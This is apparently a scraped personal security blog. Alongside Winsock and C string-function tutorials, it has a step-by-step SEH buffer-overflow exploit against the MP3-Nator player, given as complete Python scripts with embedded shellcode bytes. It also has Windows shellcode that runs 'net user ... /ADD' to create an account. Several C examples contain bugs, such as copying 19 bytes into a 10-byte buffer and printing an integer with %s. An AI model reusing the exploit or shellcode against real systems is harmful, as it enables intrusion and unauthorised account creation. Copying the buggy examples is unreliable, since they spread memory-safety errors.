windows socket programming in c++ , your first socket(networking) program!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

Windows socket programming in c/c++ was frustrating for me when it was first time. But winsock2 is not that hard to make your basic networking program in few minutes. Today i will explain the basic of windows socket programming step by step using winsock2 and c++.  If you don’t have understanding in c or c++ then you will not understand this article. So before having basic knowledge in c/c++ you should not start with windows/socket programming. I am fan of gcc compiler so i used gcc(mingw-w64) to compile all the codes(Of this blog).

To write any windows program we are required to include the “windows.h” . And for the socket we need only “winsock2.h”. Only two required header we need are:

<iostream>
<winsock2.h>

Well, Let’s go step by step with example:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <iostream>
#include <winsock2.h>


int main()
{
WSAData version; //We need to check the version.
WORD mkword=MAKEWORD(2,2);
int what=WSAStartup(mkword,&version);
if(what!=0){
std::cout<<"This version is not supported! - n"<<WSAGetLastError()<<std::endl;
}
else{
std::cout<<"Good - Everything fine!n"<<std::endl;
}

return 0;
}

In line 7 WSAData is a structure name which holds the information about windows socket implementation. So here we declare our own new object to work with called “version”.  About WSAData here you will get more in details.

In line 8 MAKEWORD() is a macro which is type of WORD. MAKEWORD(2,2) is going to be “2.2”.

In line 9, We store the WSAStartup() function in variable “what” . This function will check if the version is higher or lower. If the version is correct as we expected then it will return value 0 otherwise something else which should be checked by WSAGetLastError() as i did in line 11.

Compile the code and run , if you are in xp+ then you will get output “Good – Everything fine”

Since everything fine , So we want to create our real socket using structure name “SOCKET“:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <iostream>
#include <winsock2.h>


int main()
{
WSAData version; //We need to check the version.
WORD mkword=MAKEWORD(2,2);
int what=WSAStartup(mkword,&version);
if(what!=0){
std::cout<<"This version is not supported! - n"<<WSAGetLastError()<<std::endl;
}
else{
std::cout<<"Good - Everything fine!n"<<std::endl;
}

SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(u_sock==INVALID_SOCKET)
std::cout<<"Creating socket failn";

else
std::cout<<"It was okay to create the socketn";

return 0;
}

Our second step is creating socket. So in line 17 we declare the variable of SOCKET called u_sock and store the socket() function.

AF_INET specify to use ipv4.

SOCK_STREAM to specify that two connection based and reliable which used by AF_INET.

IPPROTO_TCP specify that its Internet Protocol (TCP/IP).

You can get more details in this link http://msdn.microsoft.com/en-us/library/windows/desktop/ms740506%28v=vs.85%29.aspx  .

If something wrong creating the socket then it return the value “INVALID_SOCKET” which we checked in line 18.

Time to specify address and make connection. For bit theory and basic idea read: http://msdn.microsoft.com/en-us/library/windows/desktop/ms740496%28v=vs.85%29.aspx and connect() function http://msdn.microsoft.com/en-us/library/windows/desktop/ms737625%28v=vs.85%29.aspx.

The code for address information and using connect() function:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <iostream>
#include <winsock2.h>


int main()
{
WSAData version; //We need to check the version.
WORD mkword=MAKEWORD(2,2);
int what=WSAStartup(mkword,&version);
if(what!=0){
std::cout<<"This version is not supported! - n"<<WSAGetLastError()<<std::endl;
}
else{
std::cout<<"Good - Everything fine!n"<<std::endl;
}

SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(u_sock==INVALID_SOCKET)
std::cout<<"Creating socket failn";

else
std::cout<<"It was okay to create the socketn";

//Socket address information
sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=inet_addr("192.168.206.1");
addr.sin_port=htons(80);
/*==========Addressing finished==========*/

//Now we connect
int conn=connect(u_sock,(SOCKADDR*)&addr,sizeof(addr));
if(conn==SOCKET_ERROR){
std::cout<<"Error - when connecting "<<WSAGetLastError()<<std::endl;
closesocket(u_sock);
WSACleanup();
}


return 0;
}

In the above example line 25 we declare the object to work with. Then in 26 we specify to go with ipv4 , in line 27 we set our target address to connect to and in line 28 we set port number.

Line number 32 declaring a variable type of int and storing full connect() function for using it later. The parameters u_socks is the socket name we have created in line 17, (SOCKADDR*)&addr mean the address information pointing to SOCKADDR and the length of the all information specified.

Line number 33 to 36 checking if there is anything wrong, connect() function return error code SOCKET_ERROR when unsuccessful. If so we check the Error code number then close the socket using closesocket() function.

Assuming everything Went fine. We are almost done. But without getting some data from Remote host may make you thinking bad. So lets use more two function send() and recv(). Using send() function we send whatever to remote host and using recv we store the output to array:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <iostream>
#include <winsock2.h>
#include <string>



int main()
{
WSAData version; //We need to check the version.
WORD mkword=MAKEWORD(2,2);
int what=WSAStartup(mkword,&version);
if(what!=0){
std::cout<<"This version is not supported! - n"<<WSAGetLastError()<<std::endl;
}
else{
std::cout<<"Good - Everything fine!n"<<std::endl;
}

SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(u_sock==INVALID_SOCKET)
std::cout<<"Creating socket failn";

else
std::cout<<"It was okay to create the socketn";

//Socket address information
sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=inet_addr("192.168.206.1");
addr.sin_port=htons(80);
/*==========Addressing finished==========*/

//Now we connect
int conn=connect(u_sock,(SOCKADDR*)&addr,sizeof(addr));
if(conn==SOCKET_ERROR){
std::cout<<"Error - when connecting "<<WSAGetLastError()<<std::endl;
closesocket(u_sock);
WSACleanup();
}

//Send some message to remote host
char* mymsg="GET / HTTP/1.1rnrn";
char vect[512]={0};

int smsg=send(u_sock,mymsg,sizeof(mymsg),0);
if(smsg==SOCKET_ERROR){
std::cout<<"Error: "<<WSAGetLastError()<<std::endl;
WSACleanup();
}

int get=recv(u_sock,vect,512,0);
if(get==SOCKET_ERROR){
std::cout<<"Error in Receiving: "<<WSAGetLastError()<<std::endl;
}
std::cout<<vect<<std::endl;
clossocket(u_sock);
return 0;
}

In line 42 we define a string to send to remote address. Line 43 declaring an array to hold output of the command.

Line number 45 , we store the send() and the required parameters . u_sock is the name of the created socket , mymsg has the command to send to the remote address, Maximum length of the command, And the flag.

In the line 51 , we used recv() to get output and store to an array.  The parameters of this function same as send().

 Line number 55, Getting the output from the array and printing in the screen then line 56 closing the socket.

I hope i made this article simpler to understand. I don’t really like to write too much theory since there are lots and not that useful to me(may be to you too).  If you have any questions , please comment!

Hope you enjoyed!

 

debian apt-get or aptitude update Hash Sum mismatch

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

We need “apt-get update” to update the debian source list if we want to upgrade debian to next release. When i was going to upgrade debian , i got error “Hash Sum mismatch” something like:

W: Failed to fetch bzip2:/var/lib/apt/lists/partial/mirrors.yourmirror.com_debian_dists_wheezy_main_i18n_Translation-en  Hash Sum mismatch

E: Some index files failed to download. They have been ignored, or old ones used instead.

It happened for several times in the past, Today, when i was going to upgrade debian 7 to 7.1.0 i got this error again.

Anyway, It happened for the package server. So i decide to change the server address from the sources.list . To select fast server i used “netselect-apt” :

apt-get install netselect-apt && cd /etc/apt/ && netselect-apt -n wheezy -o sources.list

This command will install the netselect-apt and find the fast server then replace the old sources.list. It will output like:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Duplicate address 64.50.233.100 (http://64.50.233.100/debian/, http://ftp-nyc.osuosl.org/debian/); keeping only under first name.
netselect: 43 (23 active) nameserver request(s)...
Duplicate address 128.30.2.36 (http://128.30.2.36/debian/, http://debian.lcs.mit.edu/debian/); keeping only under first name.
netselect: unknown host debian.comu.edu.tr
netselect: 17 (17 active) nameserver request(s)...
Duplicate address 128.61.240.89 (http://128.61.240.89/debian/, http://debian.gtisc.gatech.edu/debian/); keeping only under first name.
Running netselect to choose 10 out of 398 addresses.
...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
The fastest 10 servers seem to be:

http://mirror.positive-internet.com/debian/
http://mirror.0x.sg/debian/

http://mirror.sov.uk.goscomb.net/debian/
http://mirror.vorboss.net/debian/
http://archive.mmu.edu.my/debian/
http://debian.mirrors.ovh.net/debian/
http://ukdebian.mirror.anlx.net/debian/
http://ukdebian.mirror.anlx.net/debian/
http://opensource.nchc.org.tw/debian/

Of the hosts tested we choose the fastest valid for HTTP:
http://mirror.0x.sg/debian/

Writing netselect-apt.list.
Done.

You can exclude your local server and replace with working fast server if netselect-apt selecting the same server for you.

Hope this post will help someone!

Easy example of strstr(),strspn(),strrchr(),strchr(),strbrk(),memcpy(),memset(),memcmp() – #include

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

I have written quick example of few function such as strspn(),strrchr(),strchr(),strbrk(),memcpy() etc of C language.These function we often use for dealing with string. These code are very easy to read and write. I am just pasting the code here, Please read the comments and if you have any questions , please post comment!

strstr():

/*
* use and example of strstr() function
*/

/*
* The strstr() function finds the first occurrence of the substring needle in the string haystack.
* The terminating null bytes ('') are
* not compared.
*/


#include <stdio.h>
#include <string.h>
int main(){
char *str="what the hell! system got hacked!!!";
char *str2="what";
char *str3="system";
printf("n%snn",strstr(str,str3));
printf("%snn",strstr(str,str2));
return 0;
}

/* gcc strstr1.c -o strstr1
* ./strstr1
* system got hacked!!!
*
* what the hell! system got hacked!!!
*
*/


strspn():

/* The use and example of strspn() */
/*search a string for a set of bytes. The strspn()
* function calculates the length (in bytes) of the initial segment of s which consists entirely of bytes in accept. */


#include <stdio.h>
#include <string.h>

int main(){
char *str="C is a greate system language 1337";
char *str2="1234567890";
printf("Lets see %sn",strspn(str,str2));
return 0;

}

strrchr():

/*use and example of strrchr()*/
/*
* The strrchr() function returns a pointer to the last occurrence of the character c in the string s.
* This will search the char from last. For example if we search 'a' then it will point you "ammer"
* from the "programmer"

*/


#include <stdio.h>
#include <string.h>

int main(){
char *str="You are the programmer";
int str1;
printf("Enter a char:");
scanf("%c",&str1);
//int search=strrchr(str,str1);
printf("'%c' found in '%s'n",str1,strrchr(str,str1));
return 0;
}

/*
* pusheax@programming:~/codes/linux1blog$ gcc strrchar.c -o strrchar
* pusheax@programming:~/codes/linux1blog$ ./strrchar
* Enter a char:a
'a' found in 'ammer'
pusheax@programming:~/codes/linux1blog$ ./strrchar
Enter a char:u
'u' found in 'u are the programmer'
pusheax@programming:~/codes/linux1blog$ ./strrchar
Enter a char:o
'o' found in 'ogrammer'
pusheax@programming:~/codes/linux1blog$ ./strrchar
Enter a char:y
'y' found in '(null)'
pusheax@programming:~/codes/linux1blog$ ./strrchar
Enter a char:Y
'Y' found in 'You are the programmer'
pusheax@programming:~/codes/linux1blog$
*/

strchr():

/* The use and example of strchr() */

#include <stdio.h>
#include <string.h> /*include string.h for all the string related function*/

int main(){
char *strng="Mr. Stupid!"; //We will search the char in this string
char secstr='S'; //Char should be closed in single quote
int search=(strchr(strng,secstr) != NULL); //The strchr() is the search function

if (!search) //Compare if search variable is not true
printf("The char is not found!n");
else //Otherwise it is true
printf("Wow the char '%c' found in strng "%s"n",secstr,strng);

return 0;
}

strbrk():

/* use and example of strpbrk() */
/* strpbrk - search a string for any of a set of bytes */

#include <stdio.h>
#include <string.h>

int main(){
char *str="Programming is another best way to learn hacking";
char *str2="b";
int search=*strpbrk(str,str2); //Is "b" in str2 in str?
if (!search)
printf("Nothing!n");
else
printf("Found '%c' in "%s"n",search,str); //Yes it is, well print that what char it is. strpbrk is pointer to the char!
return 0;
}

memcpy():

/*Use and example memcpy() and memmove()*/

/*memcpy - copy memory area*/

//memcpy() does not check the boundary. Be careful!

#include <stdio.h>
#include <string.h>


int main(){
char str[10];
char str1[]="Hello all hackers!";
memcpy(str,str1,sizeof(str1));
printf("%sn",str);
return 0;
}

memset():

//Use and example of memset()
//memset - fill memory with a constant byte

#include <stdio.h>
#include <string.h>

int main(){
char str[]="Life is boring!";
int str1='A';
printf("First string:%sn",str);
printf("Now it is:%sn",memset(str,str1,sizeof(str1)));
return 0;
}

memcmp():

#include <stdio.h>
#include <string.h>

int main(){
char str[]="ABa";
char str1[]="AbA";
int what=memcmp(str,str1,sizeof(str));
if(what)
printf("Return:%d not matchedn",what);
else
printf("Return:%d mean equaln",what);

printf("Lets print something different!n");
printf("Confused for:%d ?n",memcmp(str,str1,2));
printf("Another confusion for :%d ?n",memcmp(str,str1,1));
return 0;
}

Useful books to get into hacking!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

A good book can take you so far. Having some good book really a good idea to learn something new and improving our knowledge. I have posted some useful book’s amazon link (no matter how you get them). These book will really help you much to go into hacking.  After reading these book you will have a very good understanding of system and hacking and you will be able find out the information what you are looking for. There are thousands of free papers but you don’t know what to search and what to learn. After reading these book you will have goal though.

1. C Primer Plus 5th Edition: To get into hacking and penetration we need to understand programming Language. Most of the powerful language is C. This book is very good to learn the C programming language whereas “The C programming language” is bit harder for newbie. Get this book and start reading.

2.  Core Python Application Programming: For automatic and quick task we must need to code in an scripting language(Such as for exploit development). For this, the python is really very powerful(my favorite language). Learn Python from this book. For basic of python get the book “Learn python the hard way” or go to www.python.org tutorial section.

3. Assembly Language Step-by-Step: Assembly language is very very important for understanding how system work and for exploit development. This book will teach you the basic assembly language using nasm which is enough to understand asm registers,instruction and basic coding(such as shellcoding). After read this book you should read intel manuals.

4. Advanced Linux Programming: Don’t avoid the Linux internal. We are required to know Linux Internal And system programming is best to go with. This book is good and freely download-able.

5. Get two books on Windows: Windows® Internals, Part 1: Covering Windows Server® 2008 R2 and Windows 7
and
 Windows Internals, Part 2: Covering Windows Server® 2008 R2 and Windows 7

and read them when you have free time. It is very useful knowing windows internals.

6. Basic of penetration testing 2nd edition: I have read the first edition and it was good for newbie who is coming into hacking. Get Basic idea of penetration testing and hacking from this book.

7. Web application hacker handbook 2nd edition: This is a gold book to learn web hacking. If you are newbie and read this book carefully then you will have a very good understanding of hacking web. I believe you don’t need any other book to learn web hacking. After reading this book you just need to start your real research on web hacking. Another book is owasp “web application penetration testing guide” which a good start too.

8. The shellcoder’s handbook second edition: This book is very good to learn system hacking. It is bit outdated but still very useful. It discussed about common software vulnerability like buffer overflow, format string, shellcoding etc. Get this book!!!

9. Hack using python:  I did not read this book fully but the book is very good if you want to know that how to hack using python programming language. Yes , You should read this book(Get somehow!).

 

10. Corelan: Corelan have more than 11 tutorials which is worth than other commercial exploit development course and books. Read them if you want to move to exploit development and shellcoding. 

11. Metasploit cookbook

Getting started in pentesting!!!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

You also want to get started with pentesting & hacking? There are thousands of guys want to get started with pentesting and hacking but they don’t have any clue that where they should start. So i  quickly wrote this articles so that you can get started very easily without any confusion.

NOTE: Hacking is a long way since it is a research. You need to change your mind completely and be 100% serious that you will start studying to be a hacker or a pentester. If you want to hack for temporary fun, inspire your friend then being a script kiddie is okay(Keylogger and RAT). This is not possible to learn hacking in few months , it may take 3-10 years to be a good one. So you take one option of 1.Become Script Kiddie , 2. Become professional pentester or hacker, security researcher. Up to you!!!  

Basic

1. Basic of Networking: Understanding of networking really important since everything we need to do over network. So you should have a good understanding of tcp/ip and OSI models.

2. Programming: Programming is very important for being a hacker or pentester. Because we must know how a program and system really works. Also Without programming skills it is hard to find a vulnerability. Most important languages you should learn are:

                Python.
                C/C++
                Assembly
                PHP

Intermediate
1. Become A System Administrator: Yes, you need to be a system administrator of Linux and Windows both. If you can’t be a good system administrator then it is not possible to be a good pentester.
2. Writing codes: Write basic code. You don’t need to be software developer. But programming is the best weapon to solve your problem. For example, You want to complete a task automatically(such as deleting a file), Checking hundreds of file permission etc. So write codes!!! Maybe 10-50 lines of codes can do very powerful work for you.
3. Read some online articles, resource:
4. Try to go deeper of the Operating System: Yes, Understand the internal of OS(Windows,linux). If you want to be hacker then you need to know the Operating System very well.

Intermediate+
1. Virtualization :  Get vmware workstation or virtual box . Install various operating system such windows xp,7, redhat,debian etc. Install some additional software and run your port scanner, vulnerability scanner etc. 

2. Old Application and known vulnerability: go to exploit-db.com and get some vulnerable application. Install them on your vm and re-create the exploit. Use your debugger and knowledge. You should install various software including Web or system software. You may get owasp “broken web application”.

3.   Pentesting distro: Install Kali(Backtrack) Linux and use the tools against your vm. 

4. Hack: Hack yourself and hack the vm before going to real world.

Advance
You will understand when you are need of advance knowledge and what is meaning of “advance”.

There are lots of  things you need to become a successful hacker. Everything can take 1,2 or 3 even more years. You need to be patience and serious about hacking. It is not possible to hack or we can’t learn to hack within few days. Just keep going until success and the success will be waiting for you :). Various Books on pentesting is really really very helpful. I will write another new post with review of some books to learn hacking more quickly. 

Exploit writing>>> SEH based!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

Today i have re-exploited a software called mp3-nator. SEH based is bit challenging. I am going to show you quickly that how i exploited this SEH based vulnerable using only following tools:

1. Immunity Debugger.
2. mona.py (Corelan).
3. Metasploit(For  shellcode).
4. Vulnerable Application

Access Violation!
First going to make the application crashed(The classic way!). Before that attach the application to immunity debugger. Hope you already know how to attach an application on Immunity Debugger(File>>Attach>> Find Mp3-Nator>>Click on Attach):

The simple python script:

print "Creating expoit."
f=open("nator.plf","w") #Create the file

push="A"*6000

try:
f.write(push)
f.close()
print "File created"
except:
print "File cannot be created"

After generating the “nator.plf” we need to open the file:

1. Click on PlayList menu
2. Load PlayList.
3. Open the nator.plf.

But unfortunately it is not going to overwrite the EIP at all because of SEH.

EDX,EBP,ESI and EDI holding our own buffer(We can replace with shellcode!). But SEH also got overwritten by our buffer:

Overwriting SEH mean we can control SEH and Next SEH, Which mean we can make the SEH to divert the call to your shellcode!

What ? What is SEH? The SEH
Buffer space
I used mona.py to create the pattern(metasploit can do this too). If you don’t know to install mona or how to use it then go to  redmine.corelan.be/projects/mona And read the manual.

The simple mona command is : pattern_create 6000 and replace “A” with the pattern saved in indicated location(For me it is on: C:monaMP3N) . Re-generate the nator.plf and open with Mp3-nator on Immunity and we see:

We see SEH and Next SEH got overwritten with mona’s pattern. Actually this time we need to find out how much junk buffer we need to reach the SEH(Same as EIP). Let’s find:

Now we are sure that we need 4112 bytes to overwrite SEH. To be 100% sure we are going to test it again:

print "Creating expoit."
f=open("nator.plf","w") #Create the file

push="A"*4108 #4112-4
push+="B"*4 #Next SEH
push+="C"*4 #SEH
push+="D"*2000 #Shellcode
try:
f.write(push)
f.close()
print "File created"
except:
print "File cannot be created"

If next SEH is “BBBB” and SEH is “CCCC” then we are ready to go 🙂 .

DO SOMETHING WITH SEH and NSEH

 

This time we want to overwrite SEH and Next SEH with an valid address so that it goes to our shellcode. The common address to find “pop pop ret” for SEH and few bytes jump address in Next SEH.

Run mona command !mona seh at crash time ,open the file and find the null-free  address. But unfortunately our life is not that easy so there is no no null-free address. The Exploit is going to be bit challenging.

Anyway, I have choose the address 0x00448f7a of MP3N.exe.  Since we have Null byte at our return address so we simply can’t put our shellcode normally as we did before.

Do the Calculation

 Calculation for storing shellcode 

LONG JUMP
                        
NSEH
Our calculation is done!!!
BUILDING THE EXPLOIT

Now our exploit:

junk+shellcode+nops+jump+nseh+seh+more

in normal SEH based overflow we first find an address for “pop pop ret” and a short jump in NSEH , Such as “xebx08x90x90” but this is forward jump whereas we need backward jump as we already calculated using metasm(jmp $-20) . Anyway, Since we have only null-bytes SEH(0x00448f7a) address so we can’t simply short jump to our nops or shellcode.  For this reason we will need a long jump to land in where our nops starts.

The simple way to explain this,

Junk 2608. Put nops instead “A” to be safe. Then put the 343 bytes shellcode. So stack holding 2608+343 , Then more 1152 nops(x90) and the long jump “xe9x2bxf8xffxff”   . The long jump is some kind of instruction and it is 5 bytes. We now have exact bytes to overwrite the SEH and NSEH with our address:

2608+343+1152+5=4108 .

After the 4108 junk we need NSEH to make a short jump to our long jump. If we make 20 bytes backward jump then we land in our nops within 1152. Remember, Nops does nothing but goes over. So stack simply again executing the long jump  “xe9x2bxf8xffxff”. After executing the long jump it will again go back to our nops within 2608. After the the nops we have shellcode to execute. Since we made 2000 backward jump so it needs 1113 nops to pass to reach our shellcode.

Anyway, Let’s get back to debugger and do some test:

print "Creating expoit."
f=open("nator.plf","w") #Create the file

#343 bytes shellcode
shellcode ="D"*343
nops ="x90"*1152
jump ="xe9x2bxf8xffxff" #Jump back -2000 bytes
nseh ="xebxeax90x90" #short jump
seh ="x7ax8fx44x00" #0x00448f7a
more="x90"*1000

try:
f.write(junk+shellcode+nops+jump+nseh+seh+more)
f.close()
print "File created"
except:
print "File cannot be created"

Open the application on debugger,run and search the SEH address 0x00448f7a . Set a breakpoint by pressing F2.

Now open the nator.plf on the application. Just press SHIFT+F9 at first crash. We hit our breakpoint. If we scroll down a bit lower then we see that we have a bunch of “D” within our 4108bytes

 After pressing SHIFT+F9 we hit the breakpoint. Now press F8 until we reach nop:

We just did a backward jump to 20 bytes nops. Well Let’s keep going with F8. 0012FD53  ^E9 2BF8FFFF      JMP 0012F583 Actually the long jump. And it again goes back to 2000bytes backward where our nops start. So if we keep going by pressing F8 then we will reach the “44” soon which mean “D”, Later we will replace the D with our real shellcode.

 So it is time to put our real shellcode. Here is the final script:

print "Creating expoit."
f=open("nator.plf","w") #Create the file
junk="x90"*2608
#343 bytes shellcode
shellcode =("xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
"x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47"
"x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38"
"x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48"
"x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c"
"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58"
"x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44"
"x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38"
"x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33"
"x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47"
"x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a"
"x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b"
"x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53"
"x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57"
"x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39"
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46"
"x4ex46x43x36x42x50x5a")
nops ="x90"*1152
jump ="xe9x2bxf8xffxff" #Jump back -2000 bytes
nseh ="xebxeax90x90" #short jump
seh ="x7ax8fx44x00" #0x00448f7a
more="x90"*1000

try:
f.write(junk+shellcode+nops+jump+nseh+seh+more)
f.close()
print "File created"
except:
print "File cannot be created"

Note: I have copied the shellcode from an working exploit. But you can always generate shellcode using metasploit. Do so!

And pop up the calc:

BOOM!!!

The most important of this exploit is dealing with NULL-BYTES “pop pop ret”.  I hope you now have clear understanding of how to work with these kind of situation. But still if you have any problem , Contact me or comment here and i will try my best to help you!

I have tried to make it simple. If you want to know more about SEH base Exploits , corelan has very good tutorial about SEH:
https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/  and

https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/

Good luck and happy hunting!!!

Content spoofing attack (Brother of Reflected XSS)!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

Content spoofing is altering data/text of web pages. XSS uses <script> or any other JS  (E.G: <script>alert(1)</script> whereas  Content spoofing not. It can be using text or html code. A hacker can deface the page virtually. But not able to own the server/web.

Since there are two good explanation of this vulnerability so you better read there:

https://www.owasp.org/index.php/Content_Spoofing
http://projects.webappsec.org/w/page/13246917/Content%20Spoofing

Something like this:
https://www.owasp.org/index.php/Pusheax.com_is_a_independent_penetration_tester,_ethical_hacker_who_always_love_to_learn_new_things_and_share_knowledge.Knowledge_should_be_free_but_not_the_hard_work._There_is_nothing_perfect.

http://projects.webappsec.org/w/page/13246917/%28pusheax%20is%20a%20regular%20independent%20pentester%20,%20I%20love%20to%20learn%20new%20things,and??

It is not such a powerful to hack entire server or an website but sometime these kind of vulnerability is enough to make the users fool.

(N)ASM LoadLibrary,GetProcAddress and MessageBox!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

When i was reading shellcode writing tutorial The LoadLibrary and GetProcAddress was been just confused me. But it was really easy to understand in normal asm code. It was bit harder for me when i first tried to write a bit dynamic windows shellcode.  So for understanding the dynamic dll loading in shellcode first i decide to learn to load the dll dynamically in normal (n)asm code and it was easy:

section .data

ldlibry dd 0
pro dd 0
dll db "user32.dll",0
myFtion db "MessageBoxA",0
MSG db "ASM GetProcAddress",0

extern _LoadLibraryA@4
extern _FreeLibrary@4
extern _GetProcAddress@8
extern _ExitProcess@4

global _start

section .text

_start:
push dll ;push user32.dll
call _LoadLibraryA@4 ;Call the API.
mov [ldlibry],eax ;eax hold return address. So eax=LoadLibrary("user32.dll") and now ldlibry=LoadLibrary("user32.dll")

;now we need to call GetProcAddress

push myFtion ;The API name we are going to call
push eax ;LoadLibrary("user32.dll")
call _GetProcAddress@8 ;GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA"). Again eax holding the return address


push 0x0 ;MB_OK
push MSG ;TITLE="ASM GetProcAddress"
push MSG ;Messgage="ASM GetProcAddress"
push 0 ;Reserved=0
call eax ;Call MessageBoxA through GetProcAddress.

push dword [ldlibry] ; ldlibry holding the LoadLibrary("user32.dll"). Again load to Free up.
call _FreeLibrary@4 ;Call the Windows api FreeLibrary()

;We should exit the process otherwise it may cause "access violation"
push 0 ;load 0 to stack
call _ExitProcess@4 ;Call ExitProcess


;Assembl:
;nasm -fwin32 ldlibrary.asm
;ld -o ldlibrary.exe ldlibrary.obj -lkernel32 

My first shellcode was in two registers, The adduser shellcode!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

I always tried to learn to write simple shellcode in assembly language. But writing the shellcode was not my first interest , my interest was Exploit writing. I had to learn to understand assembly language for various reason such as Understanding how computer works, Effectively use of Debugger, Exploit writing,fun etc. So i searched on Google a lots “Writing shellcode” , Fortunately I found some amazing tutorials(Reference!). I will explain each line of my first shellcode below. Before that i want to tell that what tools i used to write this shellcode:

1. Nasm: www.nasm.us

2. arwin: http://www.vividmachines.com/shellcode/arwin.c

3. xxd-shellcode: http://www.projectshellcode.com/downloads/xxd-shellcode.sh

4. shellcode-test: http://www.vividmachines.com/shellcode/shellcodetest.c

The shellcode:

;add user shellcode. Only will work on windows xp3. Written by pusheax.com 
[BITS 32]

global _start

section .text

_start:
jmp short command


function: ;Label
;WinExec("Command to execute",NULL)
pop ecx
xor eax,eax
push eax
push ecx
mov eax,0x7c8623ad
call eax

xor eax,eax
push eax
mov eax,0x7c81cafa
call eax



command: ;Label
call function
db "cmd.exe /c net user pusheax popebp /ADD"
db 0x00


So let me explain each line

[BITS 32] : Tell the nasm the code is for 32bit.

global _start : Declare main starting label .

section .text : Declare the code section.

jmp short command: jmp instruction used for jumping to another label call “command” . “Call” instruction is not possible because “call” will save then next instruction to stack to get back to next instruction. This is really a common trick when writing shellcode. So it is telling to jump to “command” label and keep no return address in stack.

So now we are in label “command” and it holds following instructions:-

call function : Calling “function” label and saving the next address(whatever) in stack for return purpose . The Next instruction is simple system command:

 db “cmd.exe /c net user pusheax popebp /ADD”

So whatever , we are in label “function” 
There is a simple windows API  we need call is WinExec(), http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393%28v=vs.85%29.aspx  . It only requires two parameter.

pop     ecx : Take the current return address into ecx and remove the address from stack.

xor     eax,eax : cleaning the eax register to 0. We can directly push 0 to stack but clearly it will issue null bytes. So most shellcoder does xor.

push     eax : pushing 0 to stack. Since Stack is LIFO so it will be the last parameters.

push     ecx : Do you remember that we have popped an address into ecx ? ecx actually holding “cmd.exe /c net user pusheax popebp /ADD” . So we need to push this string to stack for WinExec() first parameter. Currently stack holds: WinExec(“cmd.exe /c net user pusheax popebp /ADD”,NULL).

mov     eax,0x7c8623ad :   0x7c8623ad is address of WInExec(). Moving this address into eax . I found this address using arwin.exe ( ./arwin.exe Kernel32.dll WinExec ).

call      eax : eax=WinExec(). So it is executing the API function.

xor    eax,eax: clean eax register. Because we are going to terminate the current process soon. We are going to call ExitProcess() function to exit the current process. otherwise shellcode may get corrupted. You may see it on Debugger. 

 push   eax: Same as above we are pushing the last parameters to stack.

mov     eax,0x7c81cafa : Same as above i used arwin to find the address of ExitProcess() function.

call      eax: eax=ExitProcess’s address. Calling eax will execute the function.

Test

1. nasm -f bin -o shellcode.bin
2. ./xxd-shellcode.sh shellcode.bin
3. paste into the shellcode-test.c:
4. compile with mingw and execute then check the new user name :).

 Reference:

https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

http://projectshellcode.com/node/20